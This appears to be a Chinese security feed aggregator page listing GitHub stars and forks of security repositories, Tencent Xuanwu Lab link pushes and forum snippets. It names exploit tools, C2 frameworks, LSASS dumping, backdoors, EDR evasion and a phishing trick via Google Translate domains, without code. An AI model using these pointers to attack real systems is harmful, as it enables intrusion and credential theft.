gitlab version index
[Github关注] jas502n starred s-unscrupulous/idea_seat
IDEA 久坐提醒插件
[Github关注] zu1k starred adityatelange/hugo-PaperMod
A fast, clean, responsive Hugo theme.
[Github关注] huoji120 starred Deputation/instrumentation_callbacks
A proof of concept demonstrating instrumentation callbacks on Windows 10 21h1 with a TLS variable
to ensure all syscalls are caught.
[Github关注] pandazheng starred Sh3llyR/statiStrings
YARA Rule Strings Statistics Calculator and Malware Research Helper
[Github关注] pmiaowu created a repository pmiaowu/DeserializationTest
学习Java反序列化的环境
[Github关注] CHYbeta starred synacktiv/CVE-2021-40539
Exploitation code for CVE-2021-40539
[Github关注] jas502n starred CsEnox/GitLab-Wiki-RCE
RCE Exploit for Gitlab < 13.9.4
[Github关注] zu1k released 0.4.5 at zu1k/sdusrun
[Github关注] orleven starred virusdefender/copy-cert
基于已知⽹站 ssl 证书的信息⽣成新的⾃签名证书，除了证书是不被信任的以外，其他的信息看上去基本⼀
致，⽤于伪装流量。
[Github关注] Lz1y starred johnthagen/min-sized-rust
How to minimize Rust binary size
[Github关注] brant-ruan starred mitre-attack/attack-navigator
Web app that provides basic navigation and annotation of ATT&CK matrices
[Github关注] ASkyeye forked ASkyeye/MayorSecBackdoor from dievus/MayorSecBackdoor
Lite version of my Gatekeeper backdoor for public use.
[Github关注] gh0stkey released CaA 0.1 at gh0stkey/CaA
[Github关注] FunnyWolf starred S3cur3Th1sSh1t/PowerSharpPack
[Github关注] timwhitez starred UnkL4b/BabyShark
Basic C2 Server
[Github关注] shmilylty starred GhostPack/ForgeCert
"Golden" certificates
[Github关注] shmilylty starred NS-Sp4ce/Frp_modify
修改版FRP
[Github关注] ASkyeye forked ASkyeye/SyscallsExample from m0rv4i/SyscallsExample
Simple project using syscalls (via Syswhispers2) to execute MessageBox shellcode.
[Github关注] shmilylty starred l3m0n/linux_information
⾃动化收集linux信息
[Github关注] shmilylty forked shmilylty/supplier from r0eXpeR/supplier
主流供应商的⼀些攻击性漏洞汇总
[Github关注] jas502n starred fofapro/Hosts_scan
这是⼀个⽤于IP和域名碰撞匹配访问的⼩⼯具，旨意⽤来匹配出渗透过程中需要绑定hosts才能访问的弱主机
或内部系统。
[Github关注] DIYgod starred NaturalSelectionLabs/RSS3-Name-Service
A compatible and inclusive name service that supports RNS ENS and more
[Github关注] cube0x0 starred RiccardoAncarani/BOFs
Collection of Beacon Object Files (BOFs) for shells and lols
[Github关注] ASkyeye forked ASkyeye/rpcfirewall from zeronetworks/rpcfirewall
[Github关注] DIYgod starred moxystudio/node-proper-lockfile
An inter-process and inter-machine lockfile utility that works on a local or network file system.
[Github关注] pandazheng starred zeronetworks/rpcfirewall
[Github关注] jas502n starred 0e0w/HackJava
《深⼊理解Java代码审计》
[Github关注] pandazheng starred mai1zhi2/SharpBeacon
CobaltStrike Beacon written in .Net 4 ⽤.net重写了stager及Beacon，其中包括正常上线、⽂件管理、进程
管理、令牌管理、结合SysCall进⾏注⼊、原⽣端⼝转发、关ETW等⼀系列功能
[Github关注] RedTeamWing starred XianYanTechnology/RocB
鹏 RocB - Java代码审计IDEA插件 SAST
[Github关注] timwhitez starred rdesktop/rdesktop
rdesktop is in need of a new maintainter. Please see the home page for more details.
[Github关注] SkewwG starred YunaiV/SpringBoot-Labs
⼀个涵盖六个专栏：Spring Boot 2.X、Spring Cloud、Spring Cloud Alibaba、Dubbo、分布式消息队列、
分布式事务的仓库。希望胖友⼩⼿⼀抖，右上⻆来个 Star，感恩 1024
[Github关注] gh0stkey starred DissectMalware/XLMMacroDeobfuscator
Extract and Deobfuscate XLM macros (a.k.a Excel 4.0 Macros)
[Github关注] pmiaowu released HostCollision-2.1.6 at pmiaowu/HostCollision
[Github关注] RedTeamWing starred scopion/dic
渗透字典，框架信息泄露，备份⽂件泄露，配置⽂件泄露。字典
[Github关注] pandazheng starred Mr-xn/Penetration_Testing_POC
渗透测试有关的POC、EXP、脚本、提权、⼩⼯具等---About penetration-testing python-script poc
getshell csrf xss cms php-getshell domainmod-xss penetration-testing-poc cs…
[Github关注] brant-ruan starred ZJU-SEC/AbstractResourceAttack
This repository is used to analysis the shared resources of different containers
[Github关注] No-Github starred rsalmei/alive-progress
A new kind of Progress Bar, with real-time throughput, ETA, and very cool animations!
[Github关注] No-Github starred jobbole/awesome-python-cn
Python资源⼤全中⽂版，包括：Web框架、⽹络爬⾍、模板引擎、数据库、数据可视化、图⽚处理等，由
「开源前哨」和「Python开发者」微信公号团队维护更新。
[Github关注] ASkyeye forked ASkyeye/ets5-password-recovery from robertguetzkow/ets5-password-
recovery
ETS5 Password Recovery Tool is a PoC for CVE-2021-36799
[Github关注] DIYgod starred CaviarChen/fog-machine
Fog Machine is a web tool for visualizing and editing the data of Fog of World App.
[Github关注] ASkyeye forked ASkyeye/chlonium from rxwx/chlonium
Chromium Cookie import / export tool
[Github关注] pandazheng starred DavidXanatos/DiskCryptor
A fork of the DiskCryptor full disk encryption tool
[Github关注] No-Github starred WebAssembly/wabt
The WebAssembly Binary Toolkit
[Github关注] CHYbeta forked CHYbeta/tomcat-cluster-session-sync-exp from threedr3am/tomcat-
cluster-session-sync-exp
tomcat使⽤了⾃带session同步功能时，不安全的配置（没有使⽤EncryptInterceptor）导致存在的反序列化
漏洞，通过精⼼构造的数据包， 可以对使⽤了tomcat⾃带session同步功能的服务器进⾏攻击。PS:这个不是
CVE-2020-9484，9484是session持久…
[Github关注] pandazheng starred Tojaj/rsa-algorithm
School project - Implementation of the RSA algorithm
[Github关注] pandazheng starred b4den/rsacrack
A toolbox for extracting RSA private keys from public keys.
[Github关注] pcat007 starred gdraheim/docker-copyedit
edit docker image metadata (including remove docker volumes)
[Github关注] easychen starred yeemachine/kalidokit
Blendshape and kinematics solver for Mediapipe/Tensorflow.js face, eyes, pose, and hand tracking
models.
[Github关注] pandazheng starred corelight/CVE-2021-42292
A Zeek package to detect CVE-2021-42292, a Microsoft Excel local privilege escalation exploit.
[Github关注] jas502n starred blackorbird/APT_REPORT
Interesting apt report collection and some special ioc express
[Github关注] brant-ruan starred wuzhouhui/awk
The AWK Programming Language (AWK 程序设计语⾔, awkbook) 中⽂翻译, LaTeX 排版
[Github关注] xianyuzailushang starred inspiringz/CVE-2021-22205
GitLab CE/EE Preauth RCE using ExifTool
[Github关注] orangetw starred lucasg/findrpc
Idapython script to carve binary for internal RPC structures
[Github关注] s0md3v forked s0md3v/wappalyzer from AliasIO/wappalyzer
Identify technology on websites.
[Github关注] brant-ruan created a repository brant-ruan/awesome-cloud-security
awesome resources about cloud security
[Github关注] CHYbeta starred GrrrDog/Sploits
Place for random PoCs
[Github关注] S3cur3Th1sSh1t starred helpsystems/nanodump
Dumping LSASS has never been so stealthy
[Github关注] Lz1y starred gh0stkey/CaA
CaA - BurpSuite Collector and Analyzer
[Github关注] No-Github starred horsicq/Detect-It-Easy
Program for determining types of files for Windows, Linux and MacOS.
[Github关注] No-Github starred xuanhusec/OscpStudyGroup
Oscp study group
[Github关注] No-Github starred t3ls/mipsAudit
IDA MIPS静态扫描脚本，汇编审计辅助脚本
[Github关注] 0nise starred Vulnogram/Vulnogram
Vulnogram is a tool for creating and editing CVE information in CVE JSON format
[Github关注] Hcamael starred avwo/whistle
HTTP, HTTP2, HTTPS, Websocket debugging proxy
[Github关注] Lucifer1993 starred yanue/V2rayU
V2rayU,基于v2ray核⼼的mac版客户端,⽤于科学上⽹,使⽤swift编写,⽀持vmess,shadowsocks,socks5等服
务协议,⽀持订阅, ⽀持⼆维码,剪贴板导⼊,⼿动配置,⼆维码分享等
[Github关注] gh0stkey starred sivan/heti
赫蹏（hètí）是专为中⽂内容展示设计的排版样式增强。它基于通⾏的中⽂排版规范⽽来，可以为⽹站的读
者带来更好的⽂章阅读体验。
[Github关注] No-Github starred CheckPointSW/Karta
Karta - source code assisted fast binary matching plugin for IDA
[Github关注] No-Github starred rabbitmask/Libra
Libra [ 天秤座 ] | ⽹站篡改、暗链、死链监测平台
[Github关注] No-Github starred bytedance/Elkeid
Elkeid is a Cloud-Native Host-Based Intrusion Detection solution project to provide next-generation
Threat Detection and Behavior Audition with mod…
[Github关注] gh0stkey starred SycloverTeam/SycBinINTVW2021
三叶草技术⼩组⼆进制⽅向2021年第⼆次⾯试题⽬ & 题解
[Github关注] zt2 starred iamthefrogy/nerdbug
Full Nuclei automation script with logic explanation.
[Github关注] zt2 starred PhotonBolt/chaospy
Small Tool written based on chaos from projectdiscovery.io
[Github关注] zt2 starred tomnomnom/anew
A tool for adding new lines to files, skipping duplicates
[Github关注] ShutdownRepo starred swisskyrepo/Vulny-Code-Static-Analysis
Python script to detect vulnerabilities inside PHP source code using static analysis, based on regex
[Github关注] shmilylty starred rainrocka/xinhu
信呼，免费开源的办公OA系统，包括APP，pc上客户端，REIM即时通信，服务端等，让每个企业单位都有
⾃⼰的办公系统。
[Github关注] zt2 starred foxsen/archbase
教科书《计算机体系结构基础》（胡伟武等，第三版）的开源版本
[Github关注] zt2 starred shimmeris/SCFProxy
A little proxy tool based on Tencent Cloud Function Service.
[Github关注] lengjibo starred mycve/TerminalController
windows/linux 远程管理：屏幕监控、键盘记录、⽂件管理、命令执⾏
[Github关注] lengjibo starred Meltedd/HVNC
HVNC Client & Server | Coded in C++ (Fixed Tinynuke)
[Github关注] lengjibo starred hfiref0x/WDExtract
Extract Windows Defender database from vdm files and unpack it
[Github关注] gh0stkey starred Qihoo360/safe-rules
详细的C/C++编程规范指南，由360质量⼯程部编著，适⽤于桌⾯、服务端及嵌⼊式软件系统。
[Github关注] shmilylty starred canc3s/cIPR
将域名转为ip段权重
[Github关注] ASkyeye forked ASkyeye/nanodump from helpsystems/nanodump
Dumping LSASS has never been so stealthy
[Github关注] shmilylty starred loecho-sec/CobaltStrike_Script_Wechat_Push
CobatStrike-Script, Beacon上线,微信实时推送!
[Github关注] shmilylty starred veo/vscan
开源、轻量、快速、跨平台 的红队(redteam)外⽹打点扫描器，功能 端⼝扫描(port scan) 指纹识别
(fingerprint) nday检测(nday check) 智能爆破 (admin brute) 敏感⽂件扫描(file fuzz)
[Github关注] easychen starred yunnian/php-nsq
a php nsq client write by c extension,the fastest nsq client
[Github关注] ASkyeye forked ASkyeye/LocalDllParse from N4kedTurtle/LocalDllParse
[Github关注] ASkyeye forked ASkyeye/WinBoost from mobdk/WinBoost
Execute Mimikatz with different technique
[Github关注] ASkyeye forked ASkyeye/DLL-Hollow-PoC from SECFORCE/DLL-Hollow-PoC
DLL Hollowing PoC - Remote and Self shellcode injection
[Github关注] shmilylty starred j3ers3/Hello-Java-Sec
Java Security，安全编码和代码审计
[Github关注] shmilylty forked shmilylty/HackJava from 0e0w/HackJava
《深⼊理解Java代码审计》
[Github关注] zt2 starred CyC2018/CS-Notes
技术⾯试必备基础知识、Leetcode、计算机操作系统、计算机⽹络、系统设计
[Github关注] klezVirus starred kkent030315/NtSymbol
Resolve DOS MZ executable symbols at runtime
[Github关注] CHYbeta starred f0rgetting/Presentations
[Github关注] easychen starred iamacup/react-native-markdown-display
React Native 100% compatible CommonMark renderer
[Github关注] ASkyeye forked ASkyeye/RDPChecker from Hypnoze57/RDPChecker
RDP Checker
[Github关注] pandazheng starred N4kedTurtle/LocalDllParse
[Github关注] No-Github released f8x 1.5.8 at ffffffff0x/f8x
[Github关注] JnuSimba forked JnuSimba/CDK from cdk-team/CDK
CDK is an open-sourced container penetration toolkit, offering stable exploitation in different slimmed
containers without any OS dependency. It co…
[Github关注] SkewwG starred Maskhe/javasec
⾃⼰学习java安全的⼀些总结，主要是安全审计相关
[Github关注] zt2 starred SharpC2/SharpC2
Command and Control Framework written in C#.
[Github关注] CHYbeta starred daffainfo/AllAboutBugBounty
All about bug bounty (bypasses, payloads, and etc)
[Github关注] pandazheng starred stong/infosec-resources
A list of helpful cybersecurity / infosec resources
[Github关注] ASkyeye forked ASkyeye/SharpSphere from JamesCooteUK/SharpSphere
.NET Project for Attacking vCenter
[Github关注] 0xbug starred jazzband/tablib
Python Module for Tabular Datasets in XLS, CSV, JSON, YAML, &c.
[Github关注] riusksk starred google/clusterfuzzlite
ClusterFuzzLite - Simple continuous fuzzing that runs in CI.
[Github关注] zu1k starred bobbyiliev/101-linux-commands-ebook
101 Linux commands Open-source eBook
[Github关注] timwhitez starred DongHuangT1/Geacon
Using Go to implement CobaltStrike's Beacon
[Github关注] uknowsec starred redtoolskobe/scaninfo
fast scan for redtools
[Github关注] gh0stkey starred Kyome22/RunCat_for_windows
A cute running cat animation on your windows taskbar.
[Github关注] rootphantomer starred NickstaDB/SerializationDumper
A tool to dump Java serialization streams in a more human readable form.
[Github关注] timwhitez starred taielab/Taie-Bugbounty-killer
挖掘国内外漏洞平台必备的⾃动化捡钱赏⾦技巧，看了并去做了捡钱如喝⽔。
[Github关注] ASkyeye forked ASkyeye/Windows-Kernel-Explorer from AxtMueller/Windows-Kernel-
Explorer
A free but powerful Windows kernel research tool.
[Github关注] zer0yu starred Ares-X/shiro-exploit
Shiro反序列化利⽤⼯具，⽀持新版本(AES-GCM)Shiro的key爆破，配合ysoserial，⽣成回显Payload
[Github关注] zer0yu starred sebastianbergmann/php-code-coverage
Library that provides collection, processing, and rendering functionality for PHP code coverage
information.
[Github关注] S3cur3Th1sSh1t starred Hypnoze57/RDPChecker
RDP Checker
[Github关注] timwhitez starred timwhitez/Doge-CSBridge
CS http Dynamic Encrypt Bridge.
[Github关注] jas502n starred lyy289065406/threat-broadcast
威胁情报播报
[Github关注] rasta-mouse made rasta-mouse/ExternalC2.NET public
.NET implementation of Cobalt Strike's External C2 Spec
[Github关注] wupco starred Markakd/kernel_exploit
Linux kernel exploit
[Github关注] ASkyeye forked ASkyeye/ExternalC2.NET from rasta-mouse/ExternalC2.NET
.NET implementation of Cobalt Strike's External C2 Spec
[Github关注] ASkyeye forked ASkyeye/brick from Sentinel-One/brick
[Github关注] cube0x0 starred CCob/lsarelayx
NTLM relaying for Windows made easy
[Github关注] moloch-- starred capnspacehook/egress-eddie
Hostname filtering with nfqueue
[Github关注] moloch-- starred nadavrot/memset_benchmark
[Github关注] moloch-- starred nnsee/fileless-elf-exec
Execute ELF files without dropping them on disk
[Github关注] shmilylty starred pureqh/bypasswaf
关于安全狗和云锁的⾃动化绕过脚本
[Github关注] lengjibo starred m0rv4i/SyscallsExample
Simple project using syscalls (via Syswhispers2) to execute MessageBox shellcode.
[Github关注] lengjibo starred Kara-4search/FullDLLUnhooking_CSharp
Unhook DLL via cleaning the DLL 's .text section
[Github关注] ASkyeye forked ASkyeye/lsarelayx from CCob/lsarelayx
NTLM relaying for Windows made easy
[Github关注] zu1k starred Keldos-Li/typora-latex-theme
将Typora伪装成LaTeX的中⽂样式主题，本科⽣轻量级课程论⽂撰写的好帮⼿。This is a theme disguising
Typora into Chinese LaTeX style.
[Github关注] lengjibo starred Syst2m/FunnyMeterpreter
与反病毒软件⽼⼤哥们的打闹⽇常
[Github关注] 0nise starred kubesphere/kubesphere
The container platform tailored for Kubernetes multi-cloud, datacenter, and edge management ⎈
[Github关注] lengjibo starred cs1ime/DICHook
Hook NtDeviceIoControlFile with PatchGuard
[Github关注] zu1k starred nuta/kerla
A new operating system kernel with Linux binary compatibility written in Rust.
[Github关注] qiyeboy starred shidenggui/easytrader
提供同花顺客户端/国⾦/华泰客户端/雪球的基⾦、股票⾃动程序化交易以及⾃动打新，⽀持跟踪 joinquant
/ricequant 模拟交易 和 实盘雪球组合, 量化交易组件
[Github关注] Tycx2ry starred gentilkiwi/mimikatz
A little tool to play with Windows security
[Github关注] timwhitez starred no0be/DNSlivery
Easy files and payloads delivery over DNS
[Github关注] timwhitez starred mdsecactivebreach/PowerDNS
PowerDNS: Powershell DNS Delivery
[Github关注] CHYbeta starred Sh1Yo/x8
Hidden parameters discovery suite
[Github关注] timwhitez starred Binject/awesome-go-security
A dedicated place for cool golang security projects
[Github关注] timwhitez starred awnumar/memguard
Secure software enclave for storage of sensitive information in memory.
[Github关注] timwhitez starred minio/asm2plan9s
Tool to generate BYTE sequences for Go assembly as generated by YASM
[Github关注] jas502n forked jas502n/ATTCK-Tools-library from TimelineSec/ATTCK-Tools-library
TimelineSec ATT&CK ⼯具库
[Github关注] CHYbeta starred riramar/Web-Attack-Cheat-Sheet
Web Attack Cheat Sheet
[Github关注] eybisi starred o-oconnell/mp4grep
Command-line tool that searches audio/video files.
[Github关注] m0ngo0se starred fengjixuchui/gdrv-loader
Kernel driver loader using vulnerable gigabyte driver (https://www.secureauth.com/labs/advisories/gi
gabyte-drivers-elevation-privilege-vulnerabilities
[Github关注] Lz1y starred caesar0301/awesome-pcaptools
A collection of tools developed by other researchers in the Computer Science area to process network
traces. All the right reserved for the origina…
[Github关注] 0xbug starred hamibot/hamibot
Android 平台 JavaScript ⾃动化⼯具，⽆需 root。
[Github关注] SkewwG starred TheKingOfDuck/FileMonitor
⽂件变化实时监控⼯具(代码审计/⿊盒/⽩盒审计辅助⼯具)
[Github关注] qiyeboy starred waditu/tushare
TuShare is a utility for crawling historical data of China stocks
[Github关注] scanfsec starred houjingyi233/macOS-iOS-system-security
macos/ios exploit writeup
[Github关注] scanfsec starred onee-io/crypto-zombies
僵⼫之谜-区块链NFT游戏
[Github关注] pandazheng starred olafhartong/sysmon-cheatsheet
All sysmon event types and their fields explained
[Github关注] zt2 starred jeremyevans/roda
Routing Tree Web Toolkit
[Github关注] gh0stkey starred EZLippi/Tinyhttpd
Tinyhttpd 是J. David Blackstone在1999年写的⼀个不到 500 ⾏的超轻量型 Http Server，⽤来学习⾮常不
错，可以帮助我们真正理解服务器程序的本质。官⽹:http://tinyhttpd.sourceforge.net
[Github关注] No-Github starred beautify-web/js-beautify
Beautifier for javascript
[Github关注] No-Github starred lc/subjs
Fetches javascript file from a list of URLS or subdomains.
[Github关注] zt2 starred minio/minio-go
MinIO Client SDK for Go
[Github关注] zt2 starred minio/minio
High Performance, Kubernetes Native Object Storage
[Github关注] byt3bl33d3r starred hectorm/docker-qemu-win2000
A Docker image for Windows 2000 Advanced Server with SP4.
[Github关注] byt3bl33d3r starred joshkunz/qemu-docker
A docker container for running x86_64 virtual machines using qemu
[Github关注] byt3bl33d3r starred tianon/docker-qemu
Dockerization of supported QEMU releases
[Github关注] moloch-- starred eknkc/basex
Arbitrary base encoding in GO
[Github关注] rvrsh3ll forked rvrsh3ll/nanodump from helpsystems/nanodump
Dumping LSASS has never been so stealthy
[Github关注] No-Github starred floyd-fuh/crass
Code Review Audit Script Scanner
[Github关注] TheKingOfDuck starred ctongfei/progressbar
Terminal-based progress bar for Java / JVM
[Github关注] JnuSimba starred spring2go/cs_study_plan
⼀份硬核(hardcore)计算机科学CS⾃学计划，偏向软件⼯程和系统架构⽅向
[Github关注] FunnyWolf released v1.5.7 20211115 at FunnyWolf/Viper
[Github关注] 0nise starred eip-work/kuboard-press
Kuboard 是基于 Kubernetes 的微服务管理界⾯。同时提供 Kubernetes 免费中⽂教程，⼊⻔教程，最新版
本的 Kubernetes v1.20 安装⼿册，(k8s install) 在线答疑，持续更新。
[Github关注] c0ny1 starred openconnect/openconnect-gui
MOVED TO https://gitlab.com/openconnect/openconnect-gui
[Github关注] FunnyWolf starred Orange-Cyberdefense/arsenal
Arsenal is just a quick inventory and launcher for hacking programs
[Github关注] BeichenDream starred infosecn1nja/AD-Attack-Defense
Attack and defend active directory using modern post exploitation adversary tradecraft activity
[Github关注] brant-ruan starred Metarget/awesome-cloud-security
awesome resources about cloud security
[Github关注] pandazheng starred 0xTRAW/Linux-Privilege-Escalation-MindMap
OSCP Privilege Escalation MindMap/Guide
[Github关注] pandazheng starred RoqueNight/Linux-Privilege-Escalation-Basics
Simple and accurate guide for linux privilege escalation tactics
[Github关注] pandazheng starred ti-research-io/ti
Daily updateted Threat Intelligence Feeds
[Github关注] pmiaowu released HostCollision-2.2.0 at pmiaowu/HostCollision
[Github关注] zu1k released 0.4.6-test at zu1k/sdusrun
[Github关注] lengjibo starred erocarrera/pefile
pefile is a Python module to read and work with PE (Portable Executable) files
[Github关注] lengjibo starred Metarget/cloud-native-security-book
《云原⽣安全：攻防实践与体系构建》资料仓库
[Github关注] moloch-- starred slackhq/nebula
A scalable overlay networking tool with a focus on performance, simplicity and security
[Github关注] pmiaowu released HostCollision-2.2.1 at pmiaowu/HostCollision
[腾讯⽞武实验室推送] APT活动中的Windows系统本地提权漏洞及技术分析
APT 活动中的 Windows 系统本地提权漏洞及技术分析
[腾讯⽞武实验室推送] Quick Installation
Joern - 基于代码属性图实现跨语⾔代码分析的平台，⽀持对源码、中间字节码、⼆进制⽂件的分析
[腾讯⽞武实验室推送] SentinelOne macOS
SentinelOne 团队总结了⼀份 macOS 平台的恶意软件列表
[腾讯⽞武实验室推送] CVE-2021-40449 Introduction
win32k CVE-2021-40449 UAF 漏洞的利⽤
[腾讯⽞武实验室推送] Driftwood: Know if Private Keys are Sensitive
Driftwood - ⼀款⽤于判断泄露的 Private Key 是否是 TLS 证书私钥、SSH 私钥等敏感信息的⼯具
[腾讯⽞武实验室推送] How SSL certificates are leaking sensitive information - Detectify Labs
Detectify 团队通过⼤规模收集 SSL 证书中的信息发现，证书中的公开信息本身也会泄露⼀些企业的敏感信息
[腾讯⽞武实验室推送] How to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus
ManageEngine ADSelfService Plus 密码管理软件认证绕过漏洞的利⽤
[腾讯⽞武实验室推送] [PDF] https://cseweb.ucsd.edu/~schulman/docs/oakland22-bletracking.pdf
利⽤物理层的 BLE 信号追踪⽤户
[腾讯⽞武实验室推送] Finding and Fixing DOM-based XSS with Static Analysis
Finding and Fixing DOM-based XSS with Static Analysis
[腾讯⽞武实验室推送] 主流供应商的⼀些攻击性漏洞汇总
主流供应商的⼀些攻击性漏洞汇总 .
[腾讯⽞武实验室推送] 深⼊研究 Snake Keylogger 的新变种恶意软件
深⼊研究 Snake Keylogger 的新变种恶意软件溯源.
[腾讯⽞武实验室推送] All your tracing are belong to BPF
All your tracing are belong to BPF
[腾讯⽞武实验室推送] The Invisible JavaScript Backdoor – Certitude Blog
⽤ JavaScript 写⼀个不容易被发现的后⻔
[腾讯⽞武实验室推送] 软件供应链来源攻击分析报告
软件供应链来源攻击分析报告
[腾讯⽞武实验室推送] Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog |
JFrog
嵌⼊式 Linux 的瑞⼠军⼑ BusyBox 被发现 14 个漏洞
[腾讯⽞武实验室推送] Thick Client Penetration Testing Methodology
Thick Client Penetration Testing Methodology
[腾讯⽞武实验室推送] GitHub - stong/infosec-resources: A list of helpful cybersecurity / infosec
resources
信息安全相关的有些资料链接
[腾讯⽞武实验室推送] GitHub - zeronetworks/rpcfirewall
RPC Firewall - ⼀款检测 Windows RPC 漏洞利⽤攻击的⼯具
[腾讯⽞武实验室推送] CookieMonster
CookieMonster - ⽤于⾃动化篡改 Cookie 挖掘漏洞的⼯具
[腾讯⽞武实验室推送] Becoming A Super Admin In Someone Elses Gsuite Organization And Taking It
Over
Google Gsuite 超级管理员账户接管漏洞的分析
[腾讯⽞武实验室推送] 从 mimikatz 看 Windows DPAPI 数据解密
从 mimikatz 看 Windows DPAPI 数据解密.
[腾讯⽞武实验室推送] 浅谈JSP Webshell进阶免杀
浅谈JSP Webshell进阶免杀.
[腾讯⽞武实验室推送] Announcing osquery 5: Now with EndpointSecurity on macOS
osquery 发布 5.0 版本，⽀持在 macOS 平台基于 EndpointSecurity 框架收集事件⽇志
[腾讯⽞武实验室推送] PhoneSpy: The App-Based Cyberattack Snooping South Korean Citizens
PhoneSpy Android 间谍 App 监控韩国⽤户的消息、图⽚等各类隐私信息
[腾讯⽞武实验室推送] Pun-free Cylance vulnerability, fixed
安全软件 Cylance 被发现多个本地提权漏洞
[腾讯⽞武实验室推送] Oilpan Library
V8 脚本引擎 Trace-based garbage collector - Oilpan 的介绍
[腾讯⽞武实验室推送] Zero-Day Disclosure: PAN GlobalProtect CVE-2021-3064
Palo Alto Networks GlobalProtect VPN Unauthenticated RCE 漏洞分析（CVE-2021-3064）
[腾讯⽞武实验室推送] ARMored CoreSight: Towards Efficient Binary-only Fuzzing
基于 ARM CPU 的 CoreSight 特性，实现对闭源 ARM ⼆进制程序的 Fuzz
[腾讯⽞武实验室推送] Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS
and Beyond
Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS and Beyond
[腾讯⽞武实验室推送] ChaosDB Explained: Azure's Cosmos DB Vulnerability Walkthrough
Azure Cosmos DB 内部敏感信息泄漏漏洞分析
[腾讯⽞武实验室推送] [PDF] https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-
No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
攻击 ETW，逃避 EDR 软件的检测
[腾讯⽞武实验室推送] 朝鲜APT组织使⽤带后⻔IDA软件攻击安全研究⼈员
据 ESET 报道，朝鲜 APT 组织利⽤带后⻔的 IDA Pro 7.5 攻击安全研究⼈员
[腾讯⽞武实验室推送] The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc.
McAfees研究⼈员发现最新“Squirrelwaffle“恶意软件威胁并对进⾏分析.
[腾讯⽞武实验室推送] 记⼀次Log4j失败的Gadget挖掘记录
记⼀次Log4j失败的Gadget挖掘记录.
[腾讯⽞武实验室推送] GitHub - r0eXpeR/redteam_vul: 红队作战中⽐较常遇到的⼀些重点系统漏洞整理。
红队中易被攻击的⼀些重点系统漏洞整理
[腾讯⽞武实验室推送] ClusterFuzzLite: Continuous fuzzing for all
Google 开源了⼀套 Fuzz 框架 - ClusterFuzzLite，⽀持在 CI ⼯作流中引⼊ Fuzz
[腾讯⽞武实验室推送] What can I do to prevent this in the future?
Fuzzing Image Parsing in Windows, Part Three: RAW and HEIF
[Seebug Paper] 汽⻋插线端⼦逆向分析
作者：星舆实验室
前⾔ ⼤家好, 我是星舆⻋联⽹实验室“饭饭”。星舆取“星⾠⼤海, 舆载万物”之意, 是专注于⻋联⽹技术研究, 漏
洞挖掘和⼯具研发的安全团队。团队成员在漏洞挖掘, 硬件逆向与 AI ⼤数据⽅⾯有着丰富经验, 连续在
GeekPwn 等破解赛事中斩获奖项, 并获众⼚商致谢。团队研究成果多次发表于 DEFCON 等国内外顶级安全
会议。 在不久之后实验室计划拆⻋，研究⻋辆的组成...
[会员推荐] 《沙丘》编剧、《权游》作者：MS-DOS我能再⽤五⼗年！
推荐⽤户:boyhack 很多看似⾼科技的东⻄把⼈的专注时间加⻓了，⽤最适合⾃⼰的东⻄最好。
[知识星球] 漏洞百出 (
) [Need to launch your app unusua]
Need to launch your app unusual way? ;) 1. Launch Sigverif.exe 2. Click "Adva...
[知识星球] 代码审计⼩密圈 (phith0n) [前⼏天在跳跳糖发了⽂章，今天发个代码审计与跳跳糖联名活动 我]
前⼏天在跳跳糖发了⽂章，今天发个代码审计与跳跳糖联名活动 我们星球成员投稿跳跳糖安全社区，稿费提
升20%，即： 优秀原创⽂章发放 600RMB。 精华原创⽂章发放 1200RMB。 72⼩时后，作者未发送到其他
平台，即发放...
[知识星球] 公鸡队之家 (L.N.) [https://www.infosec.tirol/mast]
https://www.infosec.tirol/master-of-puppets-part-i... https://www.infosec.tirol/master-of-puppets-part
-i... 这2篇关于EDR的对抗，挺不错的，⽐较系统的梳理了EDR关键技术。 第⼀个部分，有作者的演讲视频，
主要是讲EDR的2种侦测⽅式： 1. 3环的api hook，这个很好对抗，就是github上各种的直接系统调⽤
（syscall） 2. 内核回调，这个需要利⽤...
[知识星球] 公鸡队之家 (L.N.) [利⽤google翻译的域名钓⻥，挺有意思的。 例如：http]
利⽤google翻译的域名钓⻥，挺有意思的。 例如：https://www-baidu-com.translate.goog...
[知识星球] 公鸡队之家 (L.N.) [利⽤google翻译的域名diao⻥，挺有意思的。 例如：h]
利⽤google翻译的域名diao⻥，挺有意思的。 例如：https://www-baidu-com.translate.goog/?_x_tr_sl=en
&... Phishing With Google's D...
[知识星球] 公鸡队之家 (Samaritan) [攻击 ETW，逃避 EDR 软件的检测：https://i.]
攻击 ETW，逃避 EDR 软件的检测：https://i.blackh...
[知识星球] 公鸡队之家 (L.N.) [读书⼊魔 ]
读书⼊魔
[知识星球] 公鸡队之家 (Seethink) []
[知识星球] 公鸡队之家 (z) [分享⼀个最近写的 CVE-2021-22205 Gitlab]
分享⼀个最近写的 CVE-2021-22205 Gitlab 未授权 RCE 利⽤脚本，⽀持 Gitlab 版本探测、命令执⾏ OOB 回
显、反弹 Sh...
[知识星球] 代码审计⼩密圈 (geez) [在学习 Java安全漫谈 - 10.反序列化篇(4) ⽂章时]
在学习 Java安全漫谈 - 10.反序列化篇(4) ⽂章时遇到⼀个难以理解的问题。 图中说道: " 和demo最⼤的区别
就是将 Runtime.getRuntime() 换成了 Runtime.class ，前者是⼀ 个 java.lang.Runtime 对象，后者是⼀个
java.lang.Class 对象 " 但...
[知识星球] 代码审计⼩密圈 (~aaaa) [⼤佬们，BCEL加载字节码的时候报错，提示是没有ClassL]
⼤佬们，BCEL加载字节码的时候报错，提示是没有ClassLoader这个类，...
[知识星球] 代码审计⼩密圈 (代码审计⼩助⼿) [这段时间有⼀些特殊情况(机器⼈不在线了)可能导致官⽹审核
较慢]
这段时间有⼀些特殊情况(机器⼈不在线了)可能导致官⽹审核较慢或者...
[知识星球] 代码审计⼩密圈 (擦) [共审计3次 全部未维权掉权限 这种还有价值吗 挖不动了 ⼈⽣]
共审计3次 全部未维权掉权限 这种还有价值吗 挖不动了 ⼈⽣建议维权。
论坛
[v2ex] [酷⼯作]
[硅⾕⼩众宝藏 Startups] 100%远程+期权+双休+四周年假+各种福利补贴
